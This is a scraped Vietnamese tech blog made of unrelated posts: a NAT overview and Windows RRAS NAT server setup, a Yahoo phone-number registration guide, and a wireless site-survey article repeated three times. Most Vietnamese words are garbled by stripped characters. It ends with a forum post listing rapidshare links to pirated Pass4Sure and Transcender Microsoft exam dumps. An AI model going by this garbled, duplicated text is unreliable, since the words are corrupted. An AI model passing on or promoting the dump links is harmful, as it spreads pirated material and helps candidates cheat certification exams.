Khi qut v NAT NAT hay cn gi l Network Address Translation l mt k thut c pht minh lc khi u dng gii quyt vn IP shortage, nhng dn dn n chng t nhiu u im m lc pht minh ra n ngi ta khng ngh ti, mt trong nhng li im ca NAT ngy nay c ng dng nhiu nht l NAT cho php 1. Chia s kt ni internet vi nhiu my bn trong LAN vi mt a ch IP ca WAN Mt li im na ca NAT l n c th lm vic nh mt 2. Firewall, n gip du tt c IP bn trong LAN vi th gii bn ngoi, trnh s dm ng ca hackers. 3. Tnh linh hot v s d dng trong vic qun l NAT gip cho cc home user v cc doanh nghip nh c th to kt ni vi internet mt cch d dng v hiu qu cng nh gip tit kim vn u t. NAT cng c nhiu loi hay hnh thc khc nhau, chng ta s ni s lc qua cc dng NAT Static NAT Vi static NAT th s chuyn i packet gia hai network, gia ngun v a
ch n tr nn n gin v nht nh, cc iu kin v trng thi kt ni khng cn phi gi li. N ch cn nhn vo mi IP packet khi chuyn i, cc thng tin v mapping u khng cn thit. Static NAT s dng khi s lng IP trong LAN bng s lng NAT-IP. Cc bn c th tham kho hnh sau y v cu hnh static NAT. Dynamic NAT Dynamic NAT khc vi static l cc a ch host IP c thay i lin tc mi ln to kt ni ra ngoi cc host ny s nhn c mt a ch NAT-IP v mi ln nh vy NAT s gi li thng tin IP ca host ny trong NAT Table ca n v c nh th. Tuy nhin ci bt li ca dynamic NAT l khi NAT-IP c cung cp ht do cng mt lc c nhiu host rong LAN gi yu cu th lp tc s khng cn bt k mt kt ni no c chuyn dch na qua NAT v NAT-IP c cp pht ht v nh vy n phi i ti ln kt ni sau. Cc bn c th tham kho hnh sau y c th hiu cch lm vic ca Dynamic NAT * NAT rule: Dynamic translate tt c IP thuc class B 138.201 n mt a ch thuc class C 178.201 * Mi mt kt ni t bn trong mun ra ngoi s c NAT cung cp mt a ch trong s lng IP sn c ca NAT, nu cc NAT-IP ny c cp pht ht th cc connection t class B s khng th ra ngoi c na. NAT ngy trang hay gi lp (Masquerading) y l dng NAT ph thng m chng ta thng gp v s dng ngy nay trong cc thit b phn cng hay phn mm routing nh router hay cc phn mm chia s internet nh ISA, ICS hay NAT server m lt na y chng ta s c dp tm hiu cch thit lp n. Dng NAT ny hay cn c gi vi mt ci tn NPAT (Network Port Address Translation), vi dng NAT ny tt c cc IP trong mng LAN c du di mt a ch NAT-IP, cc kt ni ra bn ngoi u c to ra gi to ti NAT trc khi n n c a ch internet. Cc bn c th tham kho hnh di y tm hiu cch lm vic ca NAPT *
NAT rule: Gi trang internet IP address 138.201 s dng a ch NAT router * Cho mi packets c gi ra ngoi IP ngun s c thay th bng NAT-IP l 195.112 v port ngun c thay th bng mt cng no cha c dng NAT, thng thng l cc cng ln hn 1204. * Nu mt packet c gi n a ch ca router v port ca destination nm trong khong port dng masquerading th NAT s kim tra a ch IP ny v port vi masquerading table ca NAT nu l gi cho mt host bn trong LAN th gi tin ny s c NAT gn vo a ch IP v port ca host v s chuyn n n host . Hy vng nhng g c a ra trn, phn no gip bn c cht kin thc cn bn v NAT bc tip theo sau chng ta s lm quen vi cu hnh ca NAT server. Setup NAT Server 1. Bc u tin thit lp NAT bn cn phi enable RRAS. Start, Programs, Administrative Tools, Routing and Remote Access (RRAS) 2. Trong mc Routing and Remote Access, bn right click vo tn server chn Configure and Enable Routing and Remote Access nh hnh di y.
3. Sau khi bn chn Configure and Enable Routing and Remote Access, welcome windows s hin ln, bn ch vic click Next. 4. phn Common Configurations nh hnh di y, bn nn chn vo mc Manually configured server, sau click Next.
5. Windows tip theo bn chn Finish v tip theo chn Yes nh hnh di
6. Bi tip theo sau l bn chn giao thc routing theo hnh di y. Chn New Routing Protocol
7. Trong phn New Routing Protocol bn chn Network Address Translation (NAT). Click OK theo hnh di
8. Nh vy l bn va ci xong giao thc NAT. NAT c th lm vic bn cn xc nh NIC card no dnh cho NAT v NIC card no dnh cho mng LAN. Theo hnh di y bn right click vo Network Address Translation, chn New Interface
9. Trong phn New Interface for Network Address Translation (NAT), bn chn NIC card tn WAN cho phn kt ni vi internet, chn OK
10. Sau khi bn chn NIC card cho phn kt ni vi internet bn hy check vo hai th mc nh hnh di y v, click vo phn Address Pool
11. Trong phn Address Pool ny bn chn mc ADD v sau nhp vo dy s a ch IP m cc ISP cung cp cho bn nu bn s dng NAT ny lm gateway, hoc bn c th t ci dy s IP theo bn mun, tuy nhin lu
phn subnet nu bn t ci IP range
12. Sau khi bn chn mc ADD trn th bn c th nhp vo dy s m ISP cung cp cho bn, trong trng hp ny IP range ca mnh c cp pht nh hnh di y v, chn OK
13. Dy s IP range m bn va nhp vo s dng mapping gia NAT IP v cc host trong LAN khi cn. Trong trng hp bn s dng dynamic IP th phn Address Pool ny bn khng cn phi in vo v s i thng ti bc 19. Nu cng c th reserve mt a ch NAT-IP cho ring mt a ch server no trong LAN, bn c th chn mc Reservations theo hnh di y
14. Sau khi bn chn Reservations th bn c th nhp a ch no bn mun bo qun ring cho mt server trong LAN, bn c th nhp vo y theo hnh di, trong trng hp ny mnh mun server vi a ch 192.168.0.15 c static NAT vi a NAT-IP l 68.122.45.220 nu bn khng mun add static NAT vo y th bn c th tip tc sang bc 15, cn khng th bn click OK
15. Trong mc Spcial Ports ny cho php bn m nhng cng cn thit cc dch v ca cc host bn trong LAN c quyn truy cp cng nh bn ngoi c th truy cp c cc dch v ny ca cc host trong LAN, chn giao thc TCP. Click vo mc Add pha di
16. Trong phn Add Special Port, bn add vo cc port cn thit tng xng vi a ch IP ca tng server bn trong LAN nh th d di y, bn c th chn vo mc On this interface hay On this address pool entry. Nu bn chn On
this interface v nhp vo a ch IP ca server trong LAN l 192.168.0.15 th tt c cc IP c ci trn NIC WAN s chu trch nhim translate qua cho a ch IP 192.168.0.15 vi port l 80 v, c tip tc add cc port cn thit cho cc dch v ca bn. Nu bn chn mc On this address pool entry th ch c mt a ch l 68.122.45.220 chu trch nhim lin lc v masqurerading gia a ch ny v 192.168.0.15 v ngc li
17. y l nhng ports cn thit dnh cho cc dch v ca cc server bn trong LAN, ty theo yu cu ca tng dch v bn s s dng TCP ports hay l UDP ports, phn ln l TCP ports nh hnh di l mt s TCP port thng dng c m ra cho cc server mang a ch theo sau
18. V y l cc UDP ports cn thit nh l DNS port v DHCP port, 192.168.0.25 l DNS cng l DHCP server. Sau khi ban cung cp y thng tin cn thit cho NAT th bn c th click OK
19. Phn trn l phn thit lp NAT cho NIC card WAN, sau y l phn thit lp NAT cho LAN. Lp li bc 8 v 9, bn chn interface l LAN, click OK nh hnh di y
20. Trong mc Network Address Translation Properties ny bn ch vic click OK theo hnh di y. y bn c th c xem nh l hon tt thit lp NAT. Nu bn khng cn s dng cc dch v DHCP v DNS Proxy ca NAT th bn c th t ci static IP vo cc client v ch gateway ti internal NAT interface, trong trng hp ny l 192.168.0.1. Trong trn hp bn mun thit lp DHCP v DNS proxy cho NAT th bn c th theo d bc tip theo
21.
cc client bn trong LAN c th truy cp c internet cng nh s dng nhng dch v ca NAT cung cp nh DHCP v DNS Proxy bn c th lm nh sau, right click vo Network Address Translation, chn Properties theo hnh di
22. Chn mc Address Assigment, y l chc nng DHCP ca NAT, cho php NAT cung cp cc a ch IP khi client cn truy cp internet Bn check vo mc Automatically assign IP address by using DHCP v bn nhp vo dy IP no bn mun trong trng hp ny l class C bt u t 192.168.0.1 n 192.168.0.254. Lu : trnh tnh trang DHCP cung cp IP ca gateway cng nh cc IP quan trong khc trong mng nh WINS server, DNS server, mail server bn c th chn NAT cung cp cc a ch y trong mc Exclude
23. Trong phn Exclude Reservered Addresses, bn nhp vo cc a ch IP m bn ngh rng NAT khng c cung cp cho client v s b mu thun IP, trong trng hp ny 3 a ch IP di y khng c php cung cp cho client l gateway 192.168.0.1, DC 192.168.0.15 v mail server l 192.168.0.25. Sau khi nhp vo cc d liu di y, bn click OK 24. client c th truy cp c internet th cng cn phi c DNS, bn c th s dng proxy DNS ca NAT cung cp cho cc client khi cn truy cp. Trong phn Network Address Translation (NAT) Properties, chn Name Resolution, di phn Resolve IP addresses for check vo mc Clients using Domain Name System (DNS), sau click OK 25. Nh vy l bn va hon tt thit lp mt NAT server. Hai bc di y gip bn theo di NAT v vic mapping ca NAT bng cch bn click vo Network Address Translation, windows bn phi, bn right click vo WAN interface chn Show Mapping, Nat s cho php bn theo di mapping table
ca NAT ang lm vic, nhng ai ang truy cp vo nhng server no bng port no... 26. Trong trng hp bn c DHCP server trong mng v bn khng mun s dng DHCP ca NAT th bn c th thit lp DHCP Relay Agent bng cch click vo DHCP Relay Agent chn Properties theo hnh di y 27. Trong phn DHCP Relay Agent Properties ny, bn nhp vo a ch IP ca DHCP server chu trch nhim cp pht IP cho mng LAN, click Add vy l bn khng cn s dng chc nng Assign IP address ca NAT. Lu : Trc khi bn thit lp DHCP Relay Agent, bn cn phi tt chc nng Automatically assign IP address by using DHCP bc 22. Trong bi ny DHCP server l 192.168.0.35 Nh vy l bn va thit lp xong mt NAT server.
Theo vanesoft http://www.trithuccongdong.com/portal/index.php? option=com_content&task=view&id=515&Itemid=113 c ng bi haodalat ti 1:38 CH 0 nhn xet Nhan: MCSA, NAT, NETWORK
Hng dn Reg Nick Yahoo bng S DT
u tin, vo trang http://mobile.yahoo.com/go/emulator. chy c trang ny khi load thy nh hnh di th my phi h tr Runtime Environment browser plug-in. Nu cha chy c ra hnh in thoi bn cn ci plug-in ny ti http://java.com/en/download.
Chn nh hnh trn khi to ti khon mi!
Skip b qua bc gii thiu nu khng quan tm! cc phm bm ln xung ch cn tr chut vo bng iu khin trn in thoi o! hoc di chuyn cc phm mi tn! y chang giao din in thoi Nokia tht!
Di chuyn ngang chn Mail nh hnh v Chn ng k mi! c vic Enter! v cha c ti khon Sign in, cho nn n s chuyn sang Sign up cho ng k!
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Nhp tn ti khon! khi chat chit s hin ln ch Status! ng ghi ting vit c du!
Khung nhp pass ch cho php nhp ton l ch hoc ton l s!
Cu hi b mt!
Nga thng nm sinh!
ng ToS!
Nhp m bo v !
Thnh cng s ra nh hnh trn!
ng nhp Yahoo ngon lnh!
Ta c th n danh s in thoi khi add nick khc!
v khi bn ng nhp trang http://m.yahoo.com/ th nick chat s hin ln nh hnh trn! V khi ai nhn tin th bn s nhn tin nhn trong web mobile ca yahoo cho nick !. Suu tam tu Net c ng bi haodalat ti 9:34 SA 0 nhn xet Nhan: Nick YM so dien thoai
Su bc cho cuc kho st v tr mng khng dy
Cc cuc kho st v tr mng khng dy nh k l rt quan trng. mng khng dy lun hot ng mc tt nht bn phi m bo cc im truy cp (Access Points - AP) phi khu vc tt nht v cc sng radio (c th l nguyn nhn gy nhiu) phi mc t nht. Tu thuc vo kiu ci t, c mt s cng c h tr bn thc hin vic ny, chng hn nh phn mm trong chng trnh kho st v tr. Cc bc c bn sau y s gip bn hon thnh cng vic mc tt nht: Ngun: unifiedbarcode1. Vch ra k hoch chi tit, hay k hoch c bn v nhng khu vc m bn mun mng khng dy ph ti. Mt s sn phm phn mm c th gip bn xy dng k hoch c bn mt cch trc tip. Hy xem xt k hoch v cc tr ngi nh tng, tin snh, thang my, sn nh nhng th c th cn tr tn hiu sng. Cng cn ch ni c th cung cp cho ngi dng (cng nh ni khng cung cp) xc nh phm vi trung bnh. 2. Xc nh ni cp pht cc im truy cp (AP) da trn ngun in v cp m bn c th kt ni cc AP vi phn cn li ca mng. Hy nh rng bn khng nn t cc im truy cp gn nhng vt bng kim loi hay tng b tng. Nn t chng cng gn trn nh cng tt. 3. c lng tng s im truy cp cn thit cho ton b phm vi mng. Nn nh nguyn tc hng u l mt AP c th cung cp cho phm vi bn knh khong 30m, iu ny cung cp cho bn s b phm vi khu vc AP gip bn bt u cuc kho st. Nu c mt s im truy cp ri, hy ch v tr
ca n trn k hoch s b. 4. S dng cng c kho st. Hy chc chn rng bn dng cng mt m hnh AP trong cuc kho st vi c s h tng tht ca bn. Hy xem phn hng dn bn di la chn cng c s dng cho ph hp. 5. nh v v kim tra li cc im truy cp, tu thuc vo kt qu trong cuc kho st ca bn. 6. S dng ti liu tm kim: hy ghi li cc khu vc v ti liu c k hiu, d liu c tnh quan st c cho cc ln lm vic sau. Ngun: summittechnologies Bn nn la chn cng c no ph hp nht cho bui kho st? C 3 loi c bn sau: u tin l cc phn mm da trn nn Windows, c th dng trn mt laptop n. Cc phn mm ny gip bn ghi li cc tnh ton c lng nh di tn hiu khi i quanh to nh. Bn ch cn mua mt AP n v lun chuyn quanh cc v tr tim nng xc nh bc 3. Cng c ny ph hp cho nhng ni i hi phn ci t nh, ch t mt ti ba AP. Chng cng tt trong trng hp bn khng c k hoch vn phng m n gin, nhng li c cc kiu hnh lang khc nhau v cc im cht sng tim n nm ri rc quanh nhiu tng. C nhng cng c min ph cho bn la chn nh NetStumbler v nhiu tnh nng hn vi AirMagnet Survey, Visiwave, Fluke Networks InterpretAir, Ekahau Site Survey nhng c gi khong vi nghn la. Ngoi ra cn c cc cng c khc lm vic kt hp vi cc sn phm khng dy chuyn i. Chng c th l ca Cisco Systems, Aruba Networks v Trapeze Networks, gim st phm vi sng ca bn, cung cp cho bn li khuyn v v tr nn t cc im AP tt nht. Aruba Mobility Controller c thi gian th nghim min ph v l mt phn tch hp trong b sn phm switch ca nh sn xut. Wireless Control System ca Cisco c gi 4000 la v RingMaster ca Trapeze c gi hn 549 la. Nu bn khng quyt nh c hng cung cp c s h tng khng dy, hy nh gi cng c phn tch ca h. Ngun: teamhogan Mt vn vi cc cng c ny l khi p dng vo c s h tng thc cc thng s v im cht v nhng khu vc ph sng ngho nn khng c chnh xc. Tu thuc vo k hoch c s v s cc tr ngi nh tng dy, tng kim loi, bn c th cn phi mua mt trong cc cng c bao xung
quanh tng c tho lun trn. Cui cng l mt s cng c tng t c co gin ln. Chng hu ch trong nh gi kch thc cho nhng ni xy dng nhiu tng, khu sn bi, trng s. Bn cng c th dng cho cc hot ng trin khai tng t hay cho cc i hi ca nhiu m hnh khc nhau trong tng lai. Cc cng c ny bao gm SpectraGuard Planner ca AirTight Networks, Wireless Valley LANPlanner, AirDefense Survey ca Motorola, Wireless LAN Planner ca Bluesocket. RingMaster ca Trapeze cng c kh nng xy dng m hnh radio v cc chc nng tng t. Cc cng c ny hu ch trong hot ng nh gi tng s cc AP bn s cn v m phng mi trng cui cng nn xy dng cho bn tng i tt. Nhng chng khng th ni cho bn bit cc thit b gy tr ngi hay cung cp cho bn tng th tt c v mi trng mng khng dy bn sp xy dng. Hy nh rng, tin hnh mt ln kho st mng khng dy khng bao gi l c. Chng cn phi c thc hin nh k. Mi trng sng c th thay i khi cc bn phm Bluetooth v cc thit b nghe in i n ri i, cng nh khi cc l viba bt/tt, hay khi mt lot cc thit b khng dy khc lm nhim chui phn b theo tiu chun 802.11. V th trc ht hy lng nghe ngi dng, nhng ngi chc chn s phn nn rng tn hiu ca h qu yu v tm kim cc im cht mi trong to nh ca bn. V hy chc chn rng nhng cuc kho st l mt phn trong cc hot ng mng ni chung. http://ebooks.kmmhuy.com/index.php/sau-b%c6%b0%e1%bb%9bc-cho-cu %e1%bb%99c-kh%e1%ba%a3o-sat-v%e1%bb%8b-tri-m%e1%ba%a1ngkhong-day/ c ng bi haodalat ti 7:44 SA 0 nhn xet Nhan: C TH BN CHA BIT, NETWORK, WIRELESS
Cc cuc kho st v tr mng khng dy nh k l rt quan trng. mng khng dy lun hot ng mc tt nht bn phi m bo cc im truy cp (Access Points - AP) phi khu vc tt nht v cc sng radio (c th l nguyn nhn gy nhiu) phi mc t nht. Tu thuc vo kiu ci t, c mt s cng c h tr bn thc hin vic ny, chng hn nh phn mm trong chng trnh kho st v tr. Cc bc c bn sau y s gip bn hon thnh cng vic mc tt nht: Ngun: unifiedbarcode1. Vch ra k hoch chi tit, hay k hoch c bn v nhng khu vc m bn mun mng khng dy ph ti. Mt s sn phm phn mm c th gip bn xy dng k hoch c bn mt cch trc tip. Hy xem xt k hoch v cc tr ngi nh tng, tin snh, thang my, sn nh -
nhng th c th cn tr tn hiu sng. Cng cn ch ni c th cung cp cho ngi dng (cng nh ni khng cung cp) xc nh phm vi trung bnh. 2. Xc nh ni cp pht cc im truy cp (AP) da trn ngun in v cp m bn c th kt ni cc AP vi phn cn li ca mng. Hy nh rng bn khng nn t cc im truy cp gn nhng vt bng kim loi hay tng b tng. Nn t chng cng gn trn nh cng tt. 3. c lng tng s im truy cp cn thit cho ton b phm vi mng. Nn nh nguyn tc hng u l mt AP c th cung cp cho phm vi bn knh khong 30m, iu ny cung cp cho bn s b phm vi khu vc AP gip bn bt u cuc kho st. Nu c mt s im truy cp ri, hy ch v tr ca n trn k hoch s b. 4. S dng cng c kho st. Hy chc chn rng bn dng cng mt m hnh AP trong cuc kho st vi c s h tng tht ca bn. Hy xem phn hng dn bn di la chn cng c s dng cho ph hp. 5. nh v v kim tra li cc im truy cp, tu thuc vo kt qu trong cuc kho st ca bn. 6. S dng ti liu tm kim: hy ghi li cc khu vc v ti liu c k hiu, d liu c tnh quan st c cho cc ln lm vic sau. Ngun: summittechnologies Bn nn la chn cng c no ph hp nht cho bui kho st? C 3 loi c bn sau: u tin l cc phn mm da trn nn Windows, c th dng trn mt laptop n. Cc phn mm ny gip bn ghi li cc tnh ton c lng nh di tn hiu khi i quanh to nh. Bn ch cn mua mt AP n v lun chuyn quanh cc v tr tim nng xc nh bc 3. Cng c ny ph hp cho nhng ni i hi phn ci t nh, ch t mt ti ba AP. Chng cng tt trong trng hp bn khng c k hoch vn phng m n gin, nhng li c cc kiu hnh lang khc nhau v cc im cht sng tim n nm ri rc quanh nhiu tng. C nhng cng c min ph cho bn la chn nh NetStumbler v nhiu tnh nng hn vi AirMagnet Survey, Visiwave, Fluke Networks InterpretAir, Ekahau Site Survey nhng c gi khong vi nghn la. Ngoi ra cn c cc cng c khc lm vic kt hp vi cc sn phm khng dy chuyn i. Chng c th l ca Cisco Systems, Aruba Networks v Trapeze Networks, gim st phm vi sng ca bn, cung cp cho bn li
khuyn v v tr nn t cc im AP tt nht. Aruba Mobility Controller c thi gian th nghim min ph v l mt phn tch hp trong b sn phm switch ca nh sn xut. Wireless Control System ca Cisco c gi 4000 la v RingMaster ca Trapeze c gi hn 549 la. Nu bn khng quyt nh c hng cung cp c s h tng khng dy, hy nh gi cng c phn tch ca h. Ngun: teamhogan Mt vn vi cc cng c ny l khi p dng vo c s h tng thc cc thng s v im cht v nhng khu vc ph sng ngho nn khng c chnh xc. Tu thuc vo k hoch c s v s cc tr ngi nh tng dy, tng kim loi, bn c th cn phi mua mt trong cc cng c bao xung quanh tng c tho lun trn. Cui cng l mt s cng c tng t c co gin ln. Chng hu ch trong nh gi kch thc cho nhng ni xy dng nhiu tng, khu sn bi, trng s. Bn cng c th dng cho cc hot ng trin khai tng t hay cho cc i hi ca nhiu m hnh khc nhau trong tng lai. Cc cng c ny bao gm SpectraGuard Planner ca AirTight Networks, Wireless Valley LANPlanner, AirDefense Survey ca Motorola, Wireless LAN Planner ca Bluesocket. RingMaster ca Trapeze cng c kh nng xy dng m hnh radio v cc chc nng tng t. Cc cng c ny hu ch trong hot ng nh gi tng s cc AP bn s cn v m phng mi trng cui cng nn xy dng cho bn tng i tt. Nhng chng khng th ni cho bn bit cc thit b gy tr ngi hay cung cp cho bn tng th tt c v mi trng mng khng dy bn sp xy dng. Hy nh rng, tin hnh mt ln kho st mng khng dy khng bao gi l c. Chng cn phi c thc hin nh k. Mi trng sng c th thay i khi cc bn phm Bluetooth v cc thit b nghe in i n ri i, cng nh khi cc l viba bt/tt, hay khi mt lot cc thit b khng dy khc lm nhim chui phn b theo tiu chun 802.11. V th trc ht hy lng nghe ngi dng, nhng ngi chc chn s phn nn rng tn hiu ca h qu yu v tm kim cc im cht mi trong to nh ca bn. V hy chc chn rng nhng cuc kho st l mt phn trong cc hot ng mng ni chung. http://ebooks.kmmhuy.com/index.php/sau-b%c6%b0%e1%bb%9bc-cho-cu %e1%bb%99c-kh%e1%ba%a3o-sat-v%e1%bb%8b-tri-m%e1%ba%a1ngkhong-day/ c ng bi haodalat ti 7:44 SA 0 nhn xet Nhan: C TH BN CHA BIT, NETWORK, WIRELESS
Cc cuc kho st v tr mng khng dy nh k l rt quan trng. mng khng dy lun hot ng mc tt nht bn phi m bo cc im truy cp (Access Points - AP) phi khu vc tt nht v cc sng radio (c th l nguyn nhn gy nhiu) phi mc t nht. Tu thuc vo kiu ci t, c mt s cng c h tr bn thc hin vic ny, chng hn nh phn mm trong chng trnh kho st v tr. Cc bc c bn sau y s gip bn hon thnh cng vic mc tt nht: Ngun: unifiedbarcode1. Vch ra k hoch chi tit, hay k hoch c bn v nhng khu vc m bn mun mng khng dy ph ti. Mt s sn phm phn mm c th gip bn xy dng k hoch c bn mt cch trc tip. Hy xem xt k hoch v cc tr ngi nh tng, tin snh, thang my, sn nh nhng th c th cn tr tn hiu sng. Cng cn ch ni c th cung cp cho ngi dng (cng nh ni khng cung cp) xc nh phm vi trung bnh. 2. Xc nh ni cp pht cc im truy cp (AP) da trn ngun in v cp m bn c th kt ni cc AP vi phn cn li ca mng. Hy nh rng bn khng nn t cc im truy cp gn nhng vt bng kim loi hay tng b tng. Nn t chng cng gn trn nh cng tt. 3. c lng tng s im truy cp cn thit cho ton b phm vi mng. Nn nh nguyn tc hng u l mt AP c th cung cp cho phm vi bn knh khong 30m, iu ny cung cp cho bn s b phm vi khu vc AP gip bn bt u cuc kho st. Nu c mt s im truy cp ri, hy ch v tr ca n trn k hoch s b. 4. S dng cng c kho st. Hy chc chn rng bn dng cng mt m hnh AP trong cuc kho st vi c s h tng tht ca bn. Hy xem phn hng dn bn di la chn cng c s dng cho ph hp. 5. nh v v kim tra li cc im truy cp, tu thuc vo kt qu trong cuc kho st ca bn. 6. S dng ti liu tm kim: hy ghi li cc khu vc v ti liu c k hiu, d liu c tnh quan st c cho cc ln lm vic sau. Ngun: summittechnologies Bn nn la chn cng c no ph hp nht cho bui kho st? C 3 loi c bn sau: u tin l cc phn mm da trn nn Windows, c th dng trn mt laptop n. Cc phn mm ny gip bn ghi li cc tnh ton c lng nh
di tn hiu khi i quanh to nh. Bn ch cn mua mt AP n v lun chuyn quanh cc v tr tim nng xc nh bc 3. Cng c ny ph hp cho nhng ni i hi phn ci t nh, ch t mt ti ba AP. Chng cng tt trong trng hp bn khng c k hoch vn phng m n gin, nhng li c cc kiu hnh lang khc nhau v cc im cht sng tim n nm ri rc quanh nhiu tng. C nhng cng c min ph cho bn la chn nh NetStumbler v nhiu tnh nng hn vi AirMagnet Survey, Visiwave, Fluke Networks InterpretAir, Ekahau Site Survey nhng c gi khong vi nghn la. Ngoi ra cn c cc cng c khc lm vic kt hp vi cc sn phm khng dy chuyn i. Chng c th l ca Cisco Systems, Aruba Networks v Trapeze Networks, gim st phm vi sng ca bn, cung cp cho bn li khuyn v v tr nn t cc im AP tt nht. Aruba Mobility Controller c thi gian th nghim min ph v l mt phn tch hp trong b sn phm switch ca nh sn xut. Wireless Control System ca Cisco c gi 4000 la v RingMaster ca Trapeze c gi hn 549 la. Nu bn khng quyt nh c hng cung cp c s h tng khng dy, hy nh gi cng c phn tch ca h. Ngun: teamhogan Mt vn vi cc cng c ny l khi p dng vo c s h tng thc cc thng s v im cht v nhng khu vc ph sng ngho nn khng c chnh xc. Tu thuc vo k hoch c s v s cc tr ngi nh tng dy, tng kim loi, bn c th cn phi mua mt trong cc cng c bao xung quanh tng c tho lun trn. Cui cng l mt s cng c tng t c co gin ln. Chng hu ch trong nh gi kch thc cho nhng ni xy dng nhiu tng, khu sn bi, trng s. Bn cng c th dng cho cc hot ng trin khai tng t hay cho cc i hi ca nhiu m hnh khc nhau trong tng lai. Cc cng c ny bao gm SpectraGuard Planner ca AirTight Networks, Wireless Valley LANPlanner, AirDefense Survey ca Motorola, Wireless LAN Planner ca Bluesocket. RingMaster ca Trapeze cng c kh nng xy dng m hnh radio v cc chc nng tng t. Cc cng c ny hu ch trong hot ng nh gi tng s cc AP bn s cn v m phng mi trng cui cng nn xy dng cho bn tng i tt. Nhng chng khng th ni cho bn bit cc thit b gy tr ngi hay cung cp cho bn tng th tt c v mi trng mng khng dy bn sp xy dng. Hy nh rng, tin hnh mt ln kho st mng khng dy khng bao gi l c. Chng cn phi c thc hin nh k. Mi trng sng c th thay i khi cc bn phm Bluetooth v cc thit b nghe in i n ri i, cng nh khi cc l viba bt/tt, hay khi mt lot cc thit b khng dy khc lm
nhim chui phn b theo tiu chun 802.11. V th trc ht hy lng nghe ngi dng, nhng ngi chc chn s phn nn rng tn hiu ca h qu yu v tm kim cc im cht mi trong to nh ca bn. V hy chc chn rng nhng cuc kho st l mt phn trong cc hot ng mng ni chung. http://ebooks.kmmhuy.com/index.php/sau-b%c6%b0%e1%bb%9bc-cho-cu %e1%bb%99c-kh%e1%ba%a3o-sat-v%e1%bb%8b-tri-m%e1%ba%a1ngkhong-day/ c ng bi haodalat ti 7:44 SA 0 nhn xet Nhan: C TH BN CHA BIT, NETWORK, WIRELESS
19-04-2008
Pass4sure, At, Tk, Mspress, Cbt Videos, Mocs For All Microsoft
BEFORE REQUESTING FOR DUMPS CHECK WHAT YOU WANT HERE , DONT POST THANKS REPLIES PLEASE , ANY ONE WILL POST A THANKS WILL BE WARNED , REQUESTS ARE ALLOWED FOR LATEST MATERIALS , GIVE HIM SOME TIME AS HE IS TRYING TO UPLOAD AS MUCH AS HE CAN , ENJOY ALL , SPECIAL THANKS FOR EDMOND IN ADVANCE update : ppl can request here for missing materials only and no posting for mails !!! latest update : after every 30 days all the replies will be deleted to keep this topic shine and clean For Pass4Sure, Actualtest, Transcender and Testking Pass4Sure 70-086 version 2.31 Implementing and Supporting Systems Management Server 2.0 CODE http://rapidshare.com/files/27145202/Pass4Sure_70-086_v2.31.rar Pass4Sure 70-089 version 2.15 Planning, Deploying, and Managing Microsoft Systems Management Server 2003 CODE http://rapidshare.com/files/27145222/Pass4Sure_70-089_v2.15.rar Pass4Sure 70-121 version 2.29 Designing and Providing Microsoft Volume License Solutions to Small and Medium Organizations CODE http://rapidshare.com/files/27145252/Pass4Sure_70-121_v2.29.rar Pass4Sure 70-122 version 2.29
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CODE http://rapidshare.com/files/29397886/Transcender_70-229_v8.0.4-rbs.rar http://rapidshare.com/files/29397886/Transcender_70-229_v8.0.4-rbs.rar Transcender 70-270 CODE http://rapidshare.com/files/29398311/Transcender_70-270_v6.0.13-rbs.rar http://rapidshare.com/files/29398167/Transcender_70-270_v6.0.13-rbs2.rar http://rapidshare.com/files/29398029/Transcender_70-270_v6.0.9-rbs.rar Transcender 70-272 CODE http://rapidshare.com/files/29398555/Transcender_70-272_v2.0.4-rbs.rar Transcender 70-281 CODE http://rapidshare.com/files/29398773/Transcender_70-281_v2.0.2-rbs.rar Transcender 70-282 CODE http://rapidshare.com/files/29398905/Transcender_70-282_v2.1.1-rbs.rar Transcender 70-284 CODE http://rapidshare.com/files/29399059/Transcender_70-284_v2.0.3-rbs.rar http://rapidshare.com/files/29399215/Transcender_70-284_v2.1.2-rbs.rar Transcender 70-285 CODE http://rapidshare.com/files/29399355/Transcender_70-285_v2.0.2-rbs.rar Transcender 70-293 CODE http://rapidshare.com/files/29399928/Transcender_70-293_v6.1.1-rbs.rar http://rapidshare.com/files/29400961/Transcender_70-293_v6.1.3-rbs.rar http://rapidshare.com/files/29400379/Transcender_70-293_v6.1.3.20061002rbs.rar Transcender 70-294 CODE http://rapidshare.com/files/29401648/Transcender_70-294_v6.1-rbs.rar Transcender 70-296 CODE http://rapidshare.com/files/29401802/Transcender_70-296_v6.0.4-rbs.rar http://rapidshare.com/files/29401944/Transcender_70-296_v6.0.6-rbs.rar
http://rapidshare.com/files/29402146/Transcender_70-296_v6.0.7-rbs.rar Transcender 70-299 CODE http://rapidshare.com/files/29402331/Transcender_70-299_v2.0.3-rbs.rar http://rapidshare.com/files/29402577/Transcender_70-299_v2.1.1-rbs.rar Transcender 70-300 CODE http://rapidshare.com/files/29402755/Transcender_70-300_v4.0.1-rbs.rar Transcender 70-305 CODE http://rapidshare.com/files/29402893/Transcender_70-305_v7.0.2-rbs.rar Transcender 70-306 CODE http://rapidshare.com/files/29403216/Transcender_70-306_v7.0-rbs.rar http://rapidshare.com/files/29403087/Transcender_70-306_v7.0.1-rbs.rar Transcender 70-315 CODE http://rapidshare.com/files/29403601/Transcender_70-315_v7.0.2-rbs.rar http://rapidshare.com/files/29403481/Transcender_70-315_v7.0.2.20060919rbs.rar Transcender 70-316 CODE http://rapidshare.com/files/29403726/Transcender_70-316_v7.0.2-rbs.rar Transcender 70-320 CODE http://rapidshare.com/files/29403932/Transcender_70-320_v7.0.1-rbs.rar Transcender 70-350 CODE http://rapidshare.com/files/29404129/Transcender_70-350_v2.0.5-rbs.rar Transcender 70-431 CODE http://rapidshare.com/files/29404300/Transcender_70-431_v2.0.2-rbs.rar http://rapidshare.com/files/29404538/Transcender_70-431_v2.0.4-rbs.rar http://rapidshare.com/files/29404679/Transcender_70-431_v2.0.5-rbs.rar Transcender 70-441 CODE
